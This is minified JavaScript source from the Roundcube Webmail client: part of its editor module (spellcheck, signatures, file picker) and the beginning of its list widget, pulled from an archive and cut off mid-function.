e=this.editor;e?e.plugins&&e.plugins.spellchecker&&this.spellcheck_active&&(e.execCommand("mceSpellCheck",!1),this.spellcheck_observer()):(e=this.spellchecker)&&e.state&&"ready"!=e.state&&"no_error_found"!=e.state&&$(e.spell_span).trigger("click")},this.spellcheck_state=function(){var e;return this.editor?this.spellcheck_active:(e=this.spellchecker)&&e.state?"ready"!=e.state&&"no_error_found"!=e.state:void 0},this.spellcheck_resume=function(e){var t=this.editor;t?t.plugins.spellchecker.markErrors(e):(t=this.spellchecker)&&(t.prepare(!1,!0),t.processData(e))},this.get_language=function(){return rcmail.env.spell_lang},this.set_language=function(e){var t=this.editor;t&&(t.settings.spellchecker_language=e),(t=this.spellchecker)&&t.setCurrentLanguage(e),rcmail.env.spell_lang=e},this.replace=function(e){var t,i,n,l=this.editor;if(!e)return!1;l?(l.getWin().focus(),t="object"==$.type(e)&&"html"in e?(e=e.html,"html"):("object"==$.type(e)&&(e=e.text||""),e=rcmail.quote_html(e).replace(/\r?\n/g,"<br/>"),"text"),l.selection.setContent(e,{format:t})):(l=rcube_find_object(this.id))&&(t=rcmail.get_input_selection(l),i=(n=l.value).substring(0,t.start),n=n.substring(t.end,n.length),"object"==$.type(e)&&(e=e.text||""),l.value=i+e+n,rcmail.set_caret_pos(l,t.start+e.length),l.focus())},this.set_content=function(e){this.editor?(this.editor.setContent(e),this.editor.getWin().focus()):(ed=rcube_find_object(this.id))&&$(ed).val(e).focus()},this.get_content=function(e){var t=this.editor,i="",n=!1,l={refresh:!0,selection:!1,nosig:!1,format:"html"};return(e=e?$.extend(l,e):l).refresh&&this.spellcheck_stop(),t?(i=e.selection?t.selection.getContent({format:e.format}):i)||(i=t.getContent({format:e.format}),n="text"==e.format):(t=rcube_find_object(this.id))&&!(i=e.selection?rcmail.get_input_selection(t).text:i)&&(i=t.value,n=!0),i=n&&e.nosig&&0<(l=i.indexOf("-- \n"))?i.substring(0,l):i},this.change_signature=function(e,t){var i,n,l,r,s,c=-1,a=$("#"+this.id),o=a.val(),d=rcmail.env.identity;this.editor?t&&rcmail.env.signatures?((s=this.editor.dom.get("_rc_sig"))||(l=this.editor.getBody(),s=$('<div id="_rc_sig"></div>').get(0),rcmail.env.top_posting&&!rcmail.env.sig_below&&rcmail.env.compose_mode&&(1<l.childNodes.length||$(l).text())?(this.editor.getWin().focus(),r=this.editor.selection.getNode(),$(s).insertBefore("BODY"==r.nodeName?l.firstChild:r.nextSibling),$("<p>").append($("<br>")).insertBefore(s)):(l.appendChild(s),i=rcmail.env.top_posting&&rcmail.env.compose_mode?l.firstChild:$(s).prev())),s.innerHTML=rcmail.env.signatures[e]?rcmail.env.signatures[e].html:""):rcmail.env.top_posting||(i=$(this.editor.getBody()).children().last()):(t&&d&&rcmail.env.signatures&&rcmail.env.signatures[d]&&(d=(d=rcmail.env.signatures[d].text).replace(/\r\n/g,"\n"),0<=(c=rcmail.env.top_posting?o.indexOf(d):o.lastIndexOf(d)))&&(o=o.substring(0,c)+o.substring(c+d.length,o.length)),t&&rcmail.env.signatures&&rcmail.env.signatures[e]?(d=(d=rcmail.env.signatures[e].text).replace(/\r\n/g,"\n"),0<=c?(o=o.substring(0,c)+d+o.substring(c,o.length),n=c-1):o&&rcmail.env.compose_mode?rcmail.env.top_posting&&!rcmail.env.sig_below?n=(pos=rcmail.get_caret_pos(a.get(0)))?(o=o.substring(0,pos)+"\n"+d+"\n\n"+o.substring(pos,o.length),pos):(o="\n\n"+d+"\n\n"+o.replace(/^[\r\n]+/,""),0):(o=o.replace(/[\r\n]+$/,""),n=!rcmail.env.top_posting&&o.length?o.length+1:0,o+="\n\n"+d):(n=o.length,o+="\n\n"+d)):n=rcmail.env.top_posting?0:o.length,a.val(o),rcmail.set_caret_pos(a.get(0),n)),this.editor&&i&&i.length&&(this.editor.selection.setCursorLocation(i.get(0)),this.editor.getWin().scroll(0,i.offset().top))},this.save=function(){this.editor&&this.editor.save()},this.focus=function(){(this.editor||rcube_find_object(this.id)).focus()},this.file_picker_callback=function(e,t,i){var n,l,r,s,c=[],i=i.filetype,a=$(".upload-form").clone();for(n in this.editor.windowManager.open({title:rcmail.get_label("select"+i),body:{type:"panel",items:[{type:"htmlpanel",html:'<div id="image-selector" class="image-selector file-upload"><ul id="image-selector-list" class="attachmentslist"></ul></div>'}]},buttons:[{type:"cancel",text:rcmail.get_label("close"),onclick:function(){o.file_picker_close()}}]}),rcmail.env.file_picker_callback=e,rcmail.env.file_picker_type=i,e=$("#image-selector"),a.length?a.find("button,a.button").slice(1).remove():a=this.file_upload_form(rcmail.gui_objects.uploadform),(l=e.prepend(a).find("button,a.button").text(rcmail.get_label("add"+i)).focus()).is(".btn")||l.addClass("tox-button"),rcmail.env.attachments)(r=o.file_picker_entry(n,rcmail.env.attachments[n]))&&c.push(r);s=e.parents(".tox-dialog").find("button").last(),c=$("#image-selector-list").append(c).on("keydown","li",function(e){if(9==e.which)return rcube_event.get_modifier(e)==SHIFT_KEY?$(this).prev().focus().length||l.focus():$(this).next().focus().length||s.focus(),!1}),l.keydown(function(e){if(9==e.which)return rcube_event.get_modifier(e)!=SHIFT_KEY&&c.find("li").first().focus().length||s.focus(),!1;13==e.which&&this.click()}),s.keydown(function(e){if(9==e.which)return rcube_event.get_modifier(e)==SHIFT_KEY&&c.find("li").last().focus().length||l.focus(),!1}),window.FormData&&(rcmail.env.filedrop||(rcmail.env.filedrop={}),rcmail.gui_objects.filedrop&&(rcmail.env.old_file_drop=rcmail.gui_objects.filedrop),rcmail.gui_objects.filedrop=$("#image-selector"),rcmail.gui_objects.filedrop.addClass("droptarget").on("dragover dragleave",function(e){e.preventDefault(),e.stopPropagation(),$(this)["dragover"==e.type?"addClass":"removeClass"]("hover")}).get(0).addEventListener("drop",function(e){return rcmail.file_dropped(e)},!1)),rcmail.env["file_dialog_event_"+i]||(rcmail.env["file_dialog_event+"+i]=!0,rcmail.addEventListener("fileuploaded",function(e){(e=o.file_picker_entry(e.name,e.attachment))&&(c.prepend(e),e.focus())}))},this.file_picker_close=function(e){this.editor.windowManager.close(),e&&rcmail.env.file_picker_callback(e),rcmail.env.old_file_drop&&(rcmail.gui_objects.filedrop=rcmail.env.old_file_drop)},this.file_picker_entry=function(e,t){if(t.complete&&t.mimetype){var i,n,l;switch(rcmail.file_upload_id&&rcmail.set_busy(!1,null,rcmail.file_upload_id),rcmail.env.file_picker_type){case"image":i=/^image\//i;break;case"media":i=/^video\//i,n=rcmail.assets_path("program/resources/tinymce/video.png");break;default:return}return i.test(t.mimetype)?(e=rcmail.env.comm_path+"&_from="+rcmail.env.action+(rcmail.env.compose_id?"&_id="+rcmail.env.compose_id+"&_action=display-attachment":"&_action=upload-display")+"&_file="+e,l=$("<img>").attr({title:t.name,src:n||e+"&_thumbnail=1"}),$("<li>").attr({tabindex:0}).data("url",e).append($('<span class="img">').append(l)).append($('<span class="name">').text(t.name)).click(function(){o.file_picker_close($(this).data("url"))}).keydown(function(e){13==e.which&&o.file_picker_close($(this).data("url"))})):void 0}},this.file_upload_form=function(e){var t=e?$(e).find(".hint").text():"",i=$('<form id="imageuploadform">').attr({method:"post",enctype:"multipart/form-data"});return file=$("<input>").attr({name:"_file[]",type:"file",multiple:!0,style:"opacity:0;height:1px;width:1px"}).change(function(){rcmail.upload_file(i,"upload")}),wrapper=$('<div class="upload-form">').append($("<button>").attr({class:"btn btn-secondary attach",href:"#",onclick:"rcmail.upload_input('imageuploadform')"})),t&&wrapper.prepend($('<div class="hint">').text(t)),e&&(file.attr("name",$('input[type="file"]',e).attr("name")),i.attr("action",$(e).attr("action"))),i.append(file).append($("<input>").attr({type:"hidden",name:"_token",value:rcmail.env.request_token})),wrapper.append(i)}}
PK
h�\F[ppprogram/js/list.min.jsnu�[���/**
 * Roundcube List Widget
 *
 * This file is part of the Roundcube Webmail client
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 *
 * @author Thomas Bruederli <roundcube@gmail.com>
 * @author Charles McNulty <charles@charlesmcnulty.com>
 *
 * @requires jquery.js, common.js
 */
function rcube_list_widget(t,e){if(this.ENTER_KEY=13,this.DELETE_KEY=46,this.BACKSPACE_KEY=8,this.list=t||null,this.tagname=this.list?this.list.nodeName.toLowerCase():"table",this.id_regexp=/^rcmrow([a-z0-9\-_=\+\/]+)/i,this.rows={},this.selection=[],this.rowcount=0,this.colcount=0,this.subject_col=0,this.modkey=0,this.multiselect=!1,this.multiexpand=!1,this.multi_selecting=!1,this.draggable=!1,this.column_movable=!1,this.keyboard=!1,this.toggleselect=!1,this.aria_listbox=!1,this.parent_focus=!0,this.checkbox_selection=!1,this.drag_active=!1,this.col_drag_active=!1,this.column_fixed=null,this.last_selected=null,this.shift_start=null,this.focused=!1,this.drag_mouse_start=null,this.dblclick_time=500,this.row_init=function(){},this.touch_start_time=0,this.touch_event_time=500,e&&"object"==typeof e)for(var i in e)this[i]=e[i];rcube_list_widget._instances.push(this)}rcube_list_widget.prototype={init:function(){"table"==this.tagname&&this.list&&this.list.tBodies[0]?(this.thead=this.list.tHead,this.tbody=this.list.tBodies[0]):"table"!=this.tagname&&this.list&&(this.tbody=this.list),"listbox"==$(this.list).attr("role")&&(this.aria_listbox=!0,this.multiselect)&&$(this.list).attr("aria-multiselectable","true");var e=this;if(this.tbody){this.rows={},this.rowcount=0;for(var t=this.tbody.childNodes,i=0,s=t.length;i<s;i++)1==t[i].nodeType&&(this.rowcount+=this.init_row(t[i])?1:0);this.init_header(),this.frame=this.list.parentNode,this.keyboard&&(rcube_event.add_listener({event:"keydown",object:this,method:"key_press"}),$(this.list).attr("tabindex","0").on("focus",function(t){e.focus(t)}))}return this.parent_focus&&(this.list.parentNode.onclick=function(t){e.focus()}),rcmail.triggerEvent("initlist",{obj:this.list}),this},init_row:function(t){var i,e,s;if(t.uid=this.get_row_uid(t),t&&t.uid)return e=t.uid,(i=this).rows[e]={uid:e,id:t.id,obj:t},$(t).data("uid",e).mousedown(function(t){return i.drag_row(t,this.uid)}).mouseup(function(t){return!(1==t.which&&!i.drag_active&&!$(t.currentTarget).is(".ui-droppable-active"))||i.click_row(t,this.uid)}),(bw.ie||bw.edge&&bw.vendver<75)&&bw.pointer?$(t).on("pointerdown",function(t){if("touch"==t.pointerType)return i.touch_start_time=(new Date).getTime(),!1}).on("pointerup",function(t){if("touch"==t.pointerType&&(new Date).getTime()-i.touch_start_time<=i.touch_event_time)return i.drag_row(t,this.uid),i.click_row(t,this.uid)}):bw.touch&&t.addEventListener&&(t.addEventListener("touchstart",function(t){1==t.touches.length&&(i.touchmoved=!1,i.drag_row(rcube_event.touchevent(t.touches[0]),this.uid),i.touch_start_time=(new Date).getTime())},!1),t.addEventListener("touchend",function(t){var e;1==t.changedTouches.length&&(e=(new Date).getTime()-i.touch_start_time,!i.touchmoved)&&e<=i.touch_event_time&&!i.click_row(rcube_event.touchevent(t.changedTouches[0]),this.uid)&&t.preventDefault()},!1),t.addEventListener("touchmove",function(t){1==t.changedTouches.length&&(i.touchmoved=!0,i.drag_active)&&t.preventDefault()},!1)),this.aria_listbox&&(s="l:"+t.id,$(t).attr("role","option").attr("aria-labelledby",s).find(this.col_tagname()).eq(this.subject_column()).attr("id",s)),document.all&&(t.onselectstart=function(){return!1}),this.row_init(this.rows[e]),this.triggerEvent("initrow",this.rows[e]),!0},init_header:function(){if(this.thead){this.colcount=0,this.fixed_header?($(this.list.tHead).replaceWith($(this.fixed_header).find("thead").clone()),$(this.list.tHead).find("th,td").attr("style","").find("a").attr("tabindex","-1")):!bw.touch&&0<=this.list.className.indexOf("fixedheader")&&this.init_fixed_header();var t,e=this;if(this.column_movable&&this.thead&&this.thead.rows)for(t=0;t<this.thead.rows[0].cells.length;t++)this.column_fixed!=t&&(this.thead.rows[0].cells[t].onmousedown=function(t){return e.drag_column(t,this)},this.colcount++)}},container:window,init_fixed_header:function(){var e,t=$(this.list.tHead).clone();this.fixed_header?$(this.fixed_header).find("thead").replaceWith(t):(this.fixed_header=$("<table>").attr("id",this.list.id+"-fixedcopy").attr("class",this.list.className+" fixedcopy").attr("role","presentation").css({position:"fixed"}).append(t).append("<tbody></tbody>"),$(this.list).before(this.fixed_header),e=this,$(window).on("resize",function(){e.resize()}),$(this.container).on("scroll",function(){var t=$(this);e.fixed_header.css({marginLeft:-t.scrollLeft()+"px",marginTop:-t.scrollTop()+"px"})})),$(this.list.tHead).find("a.sortcol").attr("tabindex","-1"),t.find("a.sortcol").attr("tabindex","0"),this.thead=t.get(0),this.resize()},resize:function(){var e;this.fixed_header&&(e=[],$(this.tbody).parent().find("thead th,thead td").each(function(t){e[t]=$(this).width()}),$(this.thead).parent().width($(this.tbody).parent().width()),$(this.thead).find("th,td").each(function(t){$(this).width(e[t])}),$(window).scroll())},clear:function(t){var e;"table"==this.tagname?(e=document.createElement("tbody"),this.list.insertBefore(e,this.tbody),this.list.removeChild(this.list.tBodies[1]),this.tbody=e):$(this.row_tagname()+":not(.thead)",this.tbody).remove(),this.rows={},this.rowcount=0,this.last_selected=null,t&&this.clear_selection(),this.frame&&(this.frame.scrollTop=0),this.resize()},remove_row:function(t,e){var i=this,s=this.rows[t]?this.rows[t].obj:null;s&&(s.style.display="none",e&&this.select_next(t),delete this.rows[t],this.rowcount--,clearTimeout(this.resize_timeout),this.resize_timeout=setTimeout(function(){i.resize()},50))},insert_row:function(t,e){var i=this,s=this.tbody;if(void 0===t.nodeName){var o,r,n,h,c=document.createElement(this.row_tagname());for(t.id&&(c.id=t.id),t.uid&&(c.uid=t.uid),t.className&&(c.className=t.className),t.style&&$.extend(c.style,t.style),o=0;t.cols&&o<t.cols.length;o++){if(!(n=(h=t.cols[o]).dom))for(r in n=document.createElement(this.col_tagname()),h.className&&(n.className=h.className),h.innerHTML&&(n.innerHTML=h.innerHTML),h.events)n["on"+r]=h.events[r];c.appendChild(n)}t=c}this.checkbox_selection&&this.insert_checkbox(t),e&&s.childNodes.length?s.insertBefore(t,"object"==typeof e&&e.parentNode==s?e:s.firstChild):s.appendChild(t),this.init_row(t),this.rowcount++,clearTimeout(this.resize_timeout),this.resize_timeout=setTimeout(function(){i.resize()},50)},update_row:function(t,e,i,s){var o=this.rows[t];if(!o)return!1;for(var r=o.obj,n=0;e&&n<e.length;n++)this.get_cell(r,n).html(e[n]);i&&(delete this.rows[t],r.uid=i,r.id="rcmrow"+i,this.init_row(r),s&&(this.selection[0]=i),this.last_selected==t)&&(this.last_selected=i)},insert_checkbox:function(e,t){var i,s=this,t=document.createElement(this.col_tagname(t)),o=document.createElement("input");o.type="checkbox",o.tabIndex=-1,o.onchange=function(t){s.select_row(e.uid,i||CONTROL_KEY,!0),t.stopPropagation(),i=null},o.onmousedown=function(t){i=rcube_event.get_modifier(t)},t.className="selection",t.onclick=function(t){$(t.target).is("input")||(i=rcube_event.get_modifier(t),$(o).prop("checked",!o.checked).change()),t.stopPropagation()},t.appendChild(o),e.insertBefore(t,e.firstChild)},enable_checkbox_selection:function(){this.checkbox_selection=!0;var t,e,i,s,o=this.row_tagname().toUpperCase();if(this.thead)for(t=0,e=(s=this.thead.childNodes).length;t<e;t++)if(s[t].nodeName==o&&(i=s[t].firstChild)){if("selection"==i.className)break;this.insert_checkbox(s[t],"thead")}for(t=0,e=(s=this.tbody.childNodes).length;t<e;t++)if(s[t].nodeName==o&&(i=s[t].firstChild)){if("selection"==i.className)break;this.insert_checkbox(s[t],"tbody")}},focus:function(t){this.focused||(this.focused=!0,t&&rcube_event.cancel(t),t=null,(t=this.last_selected&&this.rows[this.last_selected]?$(this.rows[this.last_selected].obj).find(this.col_tagname()).eq(this.subject_column()).attr("tabindex","0"):t)&&t.length?this.focus_noscroll(t):($("iframe,:focus:not(body)").blur(),window.focus()),$(this.list).addClass("focus").removeAttr("tabindex"),this.last_selected)||this.select_first(CONTROL_KEY)},blur:function(t){this.focused=!1;var e=this;setTimeout(function(){$(e.list).attr("tabindex","0")},20),this.last_selected&&this.rows[this.last_selected]&&$(this.rows[this.last_selected].obj).find(this.col_tagname()).eq(this.subject_column()).removeAttr("tabindex"),$(this.list).removeClass("focus")},focus_noscroll:function(t){var e=this.frame.scrollTop||this.frame.scrollY;t.focus(),this.frame.scrollTop=e},hide_column:function(t,e){e=e?"addClass":"removeClass";this.fixed_header&&$(this.row_tagname()+" "+this.col_tagname()+"."+t,this.fixed_header)[e]("hidden"),$(this.row_tagname()+" "+this.col_tagname()+"."+t,this.list)[e]("hidden")},drag_column:function(t,e){if(1<this.colcount){this.drag_start=!0,this.drag_mouse_start=rcube_event.get_mouse_pos(t),rcube_event.add_listener({event:"mousemove",object:this,method:"column_drag_mouse_move"}),rcube_event.add_listener({event:"mouseup",object:this,method:"column_drag_mouse_up"}),this.add_dragfix();for(var i=0;i<this.thead.rows[0].cells.length;i++)if(e==this.thead.rows[0].cells[i]){this.selected_column=i;break}}return!1},drag_row:function(t,e){var i;return!this.is_event_target(t)||0!=rcube_event.get_button(t)||(this.in_selection_before=!!(t&&t.istouch||this.in_selection(e))&&e,this.in_selection_before||(i=rcube_event.get_modifier(t),this.select_row(e,i,!0)),this.draggable&&this.selection.length&&this.in_selection(e)&&(this.drag_start=!0,this.drag_mouse_start=rcube_event.get_mouse_pos(t),rcube_event.add_listener({event:"mousemove",object:this,method:"drag_mouse_move"}),rcube_event.add_listener({event:"mouseup",object:this,method:"drag_mouse_up"}),bw.touch&&(rcube_event.add_listener({event:"touchmove",object:this,method:"drag_mouse_move"}),rcube_event.add_listener({event:"touchend",object:this,method:"drag_mouse_up"})),this.add_dragfix(),this.focus()),!1)},click_row:function(t,e){if(e&&this.rows[e]){if(!this.is_event_target(t))return!0;var i=(new Date).getTime(),s=i-this.rows[e].clicked<this.dblclick_time;this.drag_active||s||this.in_selection_before!=e||this.select_row(e,rcube_event.get_modifier(t),!0),this.drag_start=!1,this.in_selection_before=!1,this.rowcount&&s&&this.in_selection(e)?(this.triggerEvent("dblclick"),i=0):this.triggerEvent("click"),this.drag_active||(this.del_dragfix(),rcube_event.cancel(t)),this.rows[e].clicked=i,this.focus()}return!1},is_event_target:function(t){var t=rcube_event.get_target(t),e=t.tagName.toLowerCase();return!(t&&("input"==e||"img"==e||"a"!=e&&t.onclick||$(t).data("action-link")))},find_root:function(t){var e=this.rows[t];return e&&e.parent_uid?this.find_root(e.parent_uid):t},expand_row:function(t,e){e=this.rows[e],rcube_event.get_target(t),t=rcube_event.get_modifier(t),t=(e.expanded?"collapse":"expand")+(t==CONTROL_KEY||this.multiexpand?"_all":"");e.clicked=0,this[t](e)},collapse:function(t){var e,i=t.depth,s=t?t.obj.nextSibling:null;for(t.expanded=!1,this.update_expando(t.id),this.triggerEvent("expandcollapse",{uid:t.uid,expanded:t.expanded,obj:t.obj});s;){if(1==s.nodeType){if((e=this.rows[s.uid])&&e.depth<=i)break;$(s).css("display","none"),e.expanded&&(e.expanded=!1,this.triggerEvent("expandcollapse",{uid:e.uid,expanded:e.expanded,obj:s}))}s=s.nextSibling}return this.resize(),this.triggerEvent("listupdate"),!1},expand:function(t){var e,i,s,o,r;for(t?(t.expanded=!0,o=t.depth,s=t.obj.nextSibling,this.update_expando(t.id,!0),this.triggerEvent("expandcollapse",{uid:t.uid,expanded:t.expanded,obj:t.obj})):(s=this.tbody.firstChild,r=o=0);s;){if(1==s.nodeType&&(e=this.rows[s.uid])){if(t&&(!e.depth||e.depth<=o))break;if(e.parent_uid)if((i=this.rows[e.parent_uid])&&i.expanded)(t&&i==t||r>=i.depth-1)&&(r=i.depth,$(s).css("display",""),e.expanded=!0,this.update_expando(e.id,!0),this.triggerEvent("expandcollapse",{uid:e.uid,expanded:e.expanded,obj:s}));else if(t&&(!i||i.depth<=o))break}s=s.nextSibling}return this.resize(),this.triggerEvent("listupdate"),!1},collapse_all:function(t){var e,i,s;if(t){if(t.expanded=!1,e=t.depth,i=t.obj.nextSibling,this.update_expando(t.id),this.triggerEvent("expandcollapse",{uid:t.uid,expanded:t.expanded,obj:t.obj}),e&&this.multiexpand)return!1}else i=this.tbody.firstChild,e=0;for(;i;){if(1==i.nodeType&&(s=this.rows[i.uid])){if(t&&(!s.depth||s.depth<=e))break;(t||s.depth)&&$(i).css("display","none"),s.expanded&&(s.expanded=!1,s.has_children)&&(this.update_expando(s.id),this.triggerEvent("expandcollapse",{uid:s.uid,expanded:s.expanded,obj:i}))}i=i.nextSibling}return this.resize(),this.triggerEvent("listupdate"),!1},expand_all:function(t){var e,i,s;for(t?(t.expanded=!0,e=t.depth,i=t.obj.nextSibling,this.update_expando(t.id,!0),this.triggerEvent("expandcollapse",{uid:t.uid,expanded:t.expanded,obj:t.obj})):(i=this.tbody.firstChild,e=0);i;){if(1==i.nodeType&&(s=this.rows[i.uid])){if(t&&s.depth<=e)break;$(i).css("display",""),s.expanded||(s.expanded=!0,s.has_children&&(this.update_expando(s.id,!0),this.triggerEvent("expandcollapse",{uid:s.uid,expanded:s.expanded,obj:i})))}i=i.nextSibling}return this.resize(),this.triggerEvent("listupdate"),!1},update_expando:function(t,e){t=document.getElementById("rcmexpando"+t);t&&(t.className=e?"expanded":"collapsed")},get_row_uid:function(t){var e;if(t)return t.uid||((e=$(t).data("uid"))?t.uid=e:String(t.id).match(this.id_regexp)&&(t.uid=RegExp.$1)),t.uid},get_next_row:function(t){if(!this.rowcount)return!1;for(var t=this.rows[t||this.last_selected],e=t?t.obj.nextSibling:null;e&&(1!=e.nodeType||"none"==e.style.display);)e=e.nextSibling;return e},get_prev_row:function(t){if(!this.rowcount)return!1;for(var t=this.rows[t||this.last_selected],e=t?t.obj.previousSibling:null;e&&(1!=e.nodeType||"none"==e.style.display);)e=e.previousSibling;return e},get_first_row:function(){if(this.rowcount)for(var t,e=this.tbody.childNodes,i=0;i<e.length;i++)if(e[i].id&&(t=this.get_row_uid(e[i]))&&this.rows[t])return t;return null},get_last_row:function(){if(this.rowcount)for(var t,e=this.tbody.childNodes,i=e.length-1;0<=i;i--)if(e[i].id&&(t=this.get_row_uid(e[i]))&&this.rows[t])return t;return null},get_next:function(){var t;if(t=this.get_next_row())return t.uid},get_prev:function(){var t;if(t=this.get_prev_row())return t.uid},row_tagname:function(){var t={table:"tr",ul:"li","*":"div"};return t[this.tagname]||t["*"]},col_tagname:function(t){var e={table:"td",thead:"th",tbody:"td","*":"span"};return e[t||this.tagname]||e["*"]},get_cell:function(t,e){return $(this.col_tagname(),t).eq(e+(this.checkbox_selection?1:0))},select_row:function(t,e,i){var s=this.selection.join(","),o=this.in_selection(t);if(!this.multiselect&&i&&(e=0),this.shift_start||(this.shift_start=t),e){switch(e){case SHIFT_KEY:this.shift_select(t,!1);break;case CONTROL_KEY:i&&(this.shift_start=t,this.highlight_row(t,!0));break;case CONTROL_SHIFT_KEY:this.shift_select(t,!0);break;default:this.highlight_row(t,!1)}this.multi_selecting=!0}else this.shift_start=t,this.highlight_row(t,!1),this.multi_selecting=!1;this.last_selected&&this.rows[this.last_selected]&&$(this.rows[this.last_selected].obj).removeClass("focused").find(this.col_tagname()).eq(this.subject_column()).removeAttr("tabindex"),this.toggleselect&&o&&!e?this.clear_selection():this.selection.join(",")!=s&&this.triggerEvent("select"),this.rows[t]&&($(this.rows[t].obj).addClass("focused"),this.focused)&&this.focus_noscroll($(this.rows[t].obj).find(this.col_tagname()).eq(this.subject_column()).attr("tabindex","0")),this.selection.length||(this.shift_start=null),this.last_selected=t},select:function(t){this.select_row(t,!1),this.scrollto(t)},select_next:function(t){t=this.get_next_row(t)||this.get_prev_row(t);t&&this.select_row(t.uid,!1,!1)},select_first:function(t,e){var i=this.get_first_row();i&&(this.select_row(i,t,!1),e||this.scrollto(i))},select_last:function(t,e){var i=this.get_last_row();i&&(this.select_row(i,t,!1),e||this.scrollto(i))},select_children:function(t){for(var e=this.row_children(t),i=e.length,s=0;s<i;s++)this.in_selection(e[s])||this.select_row(e[s],CONTROL_KEY,!0)},shift_select:function(t,e){this.rows[this.shift_start]&&this.selection.length||(this.shift_start=t);var i,s=this.rows[t],o=this._rowIndex(this.rows[this.shift_start].obj),r=this._rowIndex(s.obj),n=o<(r=o<r&&!s.expanded&&s.has_children&&(s=this.rows[this.row_children(t).pop()])?this._rowIndex(s.obj):r)?o:r,h=r<o?o:r;for(i in this.rows)this._rowIndex(this.rows[i].obj)>=n&&this._rowIndex(this.rows[i].obj)<=h?this.in_selection(i)||this.highlight_row(i,!0):this.in_selection(i)&&!e&&this.highlight_row(i,!0)},_rowIndex:function(t){return void 0!==t.rowIndex?t.rowIndex:$(t).prevAll().length},in_selection:function(t,e){for(var i in this.selection)if(this.selection[i]==t)return!e||parseInt(i);return!1},select_all:function(t){if(!this.rowcount)return!1;var e,i=this.selection.join(",");for(e in this.selection=[],this.rows)t&&1!=this.rows[e][t]?$(this.rows[e].obj).removeClass("selected").removeAttr("aria-selected"):(this.last_selected=e,this.highlight_row(e,!0,!0));return this.selection.join(",")!=i&&this.triggerEvent("select"),this.focus(),!0},invert_selection:function(){if(!this.rowcount)return!1;var t,e=this.selection.join(",");for(t in this.rows)this.highlight_row(t,!0);return this.selection.join(",")!=e&&this.triggerEvent("select"),this.focus(),!0},clear_selection:function(t,e){var i,s=this.selection.length;if(t){for(i in this.selection)if(this.selection[i]==t){this.selection.splice(i,1);break}}else{for(i in this.selection)this.rows[this.selection[i]]&&$(this.rows[this.selection[i]].obj).removeClass("selected").removeAttr("aria-selected");this.selection=[]}this.checkbox_selection&&$(this.row_tagname()+":not(.selected) > .selection > input:checked",this.list).prop("checked",!1),!s||this.selection.length||e||(this.triggerEvent("select"),this.last_selected=null)},get_selection:function(t){var e=$.merge([],this.selection),i={deep:t,res:e};if(!1===this.triggerEvent("getselection",i))return i.res;if(!1!==t&&e.length)for(var s,o=0,r=e.length;o<r;o++)if(s=e[o],this.rows[s]&&this.rows[s].has_children&&!this.rows[s].expanded)for(var n,h=0,c=(n=this.row_children(s)).length;h<c;h++)s=n[h],this.in_selection(s)||e.push(s);return e},get_single_selection:function(){var t=this.get_selection(!1);return 1==t.length?t[0]:null},highlight_row:function(t,e,i){var s;this.rows[t]&&(e?!1===(e=this.in_selection(t,!0))?(this.selection.push(t),$(this.rows[t].obj).addClass("selected").attr("aria-selected","true"),this.checkbox_selection&&$(".selection > input",this.rows[t].obj).prop("checked",!0),i||this.rows[t].expanded||this.highlight_children(t,!0)):(s=this.selection.slice(0,e),e=this.selection.slice(e+1,this.selection.length),this.selection=s.concat(e),$(this.rows[t].obj).removeClass("selected").removeAttr("aria-selected"),this.checkbox_selection&&$(".selection > input",this.rows[t].obj).prop("checked",!1),i||this.rows[t].expanded||this.highlight_children(t,!1)):(1<this.selection.length||!this.in_selection(t))&&(this.clear_selection(null,!0),this.selection[0]=t,$(this.rows[t].obj).addClass("selected").attr("aria-selected","true"),this.checkbox_selection)&&$(".selection > input",this.rows[t].obj).prop("checked",!0))},highlight_children:function(t,e){for(var i,s=this.row_children(t),o=s.length,r=0;r<o;r++)i=this.in_selection(s[r]),(e&&!i||!e&&i)&&this.highlight_row(s[r],!0,!0)},key_press:function(t){if(this.focused&&!$(t.target).is("input,textarea,select")){var e=rcube_event.get_keycode(t),i=rcube_event.get_modifier(t);switch(e){case 37:case 39:case 40:case 38:case 63233:case 63232:return rcube_event.cancel(t),this.use_arrow_key(e,i);case 32:return rcube_event.cancel(t),this.select_row(this.last_selected,i,!0);case 36:return this.select_first(i),rcube_event.cancel(t);case 35:return this.select_last(i),rcube_event.cancel(t);case 65:if(i==CONTROL_KEY&&this.multiselect)return this.select_first(null,!0),this.select_last(SHIFT_KEY,!0),rcube_event.cancel(t);break;case 27:return this.drag_active?this.drag_mouse_up(t):this.col_drag_active?(this.selected_column=null,this.column_drag_mouse_up(t)):rcube_event.cancel(t);case 9:this.blur();break;case 13:this.selection.length||this.select_row(this.last_selected,i,!1);default:if(this.key_pressed=e,this.modkey=i,this.triggerEvent("keypress"),this.modkey=0,this.key_pressed==this.BACKSPACE_KEY)return rcube_event.cancel(t)}}return!0},use_arrow_key:function(t,e){var i,s=this.rows[this.last_selected];return s?40==t||63233==t?i=this.get_next_row():38==t||63232==t?i=this.get_prev_row():39==t&&s.has_children?s.expanded?(i=this.get_next_row(),e=null):this.expand_all(s):37==t&&(!s.expanded||!s.has_children||s.parent_uid&&this.multiexpand?s.parent_uid&&(i=e==CONTROL_KEY?this.rows[this.find_root(s.uid)]:this.rows[s.parent_uid],e=null):this.collapse_all(s)):this.select_first(CONTROL_KEY),i&&(e||this.selection.length||(e=CONTROL_KEY),this.select_row(i.uid,e,!1),this.scrollto(i.uid)),!1},scrollto:function(t){var 